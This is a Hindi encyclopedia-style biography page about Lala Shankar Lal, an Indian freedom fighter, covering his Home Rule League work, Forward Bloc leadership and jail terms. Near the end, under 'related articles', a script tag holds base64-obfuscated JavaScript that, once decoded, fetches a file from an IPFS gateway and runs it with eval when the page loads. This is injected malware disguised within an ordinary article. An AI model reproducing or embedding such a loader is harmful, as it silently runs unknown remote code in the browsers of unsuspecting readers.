लाला शंकर लाल

भारत डिस्कवरी प्रस्तुति
Revision as of 09:21, 23 June 2017 by आशा चौधरी (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
लाला शंकर लाल
पूरा नाम लाला शंकर लाल
जन्म 1885
जन्म भूमि अंबाला ज़िला
मृत्यु 1950
नागरिकता भारतीय
धर्म हिंदू
जेल यात्रा 1921 के आंदोलन में भाग लेने के कारण तीन वर्ष की सज़ा मिली।
विद्यालय डी. ए. वी. कॉलेज, लाहौर
संबंधित लेख हकीम अजमल ख़ाँ, आसफ अली
अन्य जानकारी लाला शंकर लाल जाति, धर्म, लिंग, आदि पर आधारित भेदभाव के विरोधी थे। इनकी मान्यता थी कि देश की स्वतंत्रता प्राप्ति के लिए हमें सभी उपलब्ध साधनों का प्रयोग करना चाहिए।
अद्यतन‎

लाला शंकर लाल (अंग्रेज़ी: Lala Shankar Lal, जन्म- 1885 ई. अंबाला ज़िला, पंजाब; मृत्यु- 1950) भारत के स्वतंत्रता सेनानियों में से एक थे। ये दिल्ली के प्रसिद्ध सार्वजनिक कार्यकर्त्ता भी थे। इन्होंने होमरूल लीग की शाखा की स्थापना भी की थी। 1921 के आंदोलन के कारण ये 3 वर्ष तक जेल में रहे। हकीम अजमल ख़ाँ, आसफ अली आदि इनके सहकर्मी थे।[1]

परिचय

लाला शंकर लाल का जन्म 1885 ई. में अंबाला ज़िले में एक देशभक्त परिवार में हुआ था। इन्होंने डी.ए. वी. कॉलेज, लाहौर से शिक्षा प्राप्त की थी। इनके दादा हरदेव सहाय को 1857 के प्रथम स्वतंत्रता संग्राम में भाग लेने के कारण अंग्रेज़ों ने फ़ाँसी पर लटका दिया था।

सार्वजनिक कार्यकर्त्ता

लाला शंकर लाल दिल्ली के प्रसिद्ध सार्वजनिक कार्यकर्त्ता थे। पढ़ाई पूरी करने के बाद ही ये आर्य समाज के प्रभाव में आ गये तथा इसके बाद इन पर देशद्रोह का मुकदमा चला, जिसके कारण इन्हें पंजाब प्रदेश छोड़ने का आदेश हुआ और ये दिल्ली आ गए। दिल्ली में लाला शंकर लाल ने 'स्वदेशी भंडार' खोला और होमरूल लीग की शाखा स्थापित की। इसके साथ-साथ ये कांग्रेस के काम में भी लग गए। हकीम अजमल ख़ाँ, आसफ अली आदि इनके सहकर्मी थे।

'फारवर्ड ब्लाक' के महामंत्री

1921 के आंदोलन में इन्हें तीन वर्ष की सज़ा मिली। इसके बाद ये 1935 तक दिल्ली के प्रमुख कांग्रेस कार्यकर्त्ता रहे। 1939 में सुभाष बाबू ने 'फारवर्ड ब्लाक' का गठन किया, तो लाला शंकर लाल ने कांग्रेस छोड़ दी और 'फारवर्ड ब्लाक' के महामंत्री बन गए। 1940 में नकली पासपोर्ट के सहारे ये जापान गए और लौटते समय ही 1941 में गिरफ़्तार कर लिये गये। इसके बाद इन्हें 14 दिसम्बर, 1945 को ही जेल से छोड़ा गया।

सामाजिक भेदभाव

लाला शंकर लाल जाति, धर्म, लिंग, आदि पर आधारित भेदभाव के विरोधी थे। ये अहिंसा की नीति में विश्वास नहीं करते थे। इनकी मान्यता थी कि देश की स्वतंत्रता प्राप्ति के लिए हमें सभी उपलब्ध साधनों का प्रयोग करना चाहिए।

मृत्यु

लाला शंकर लाल का 1950 में देहांत हो गया।


टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 765 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः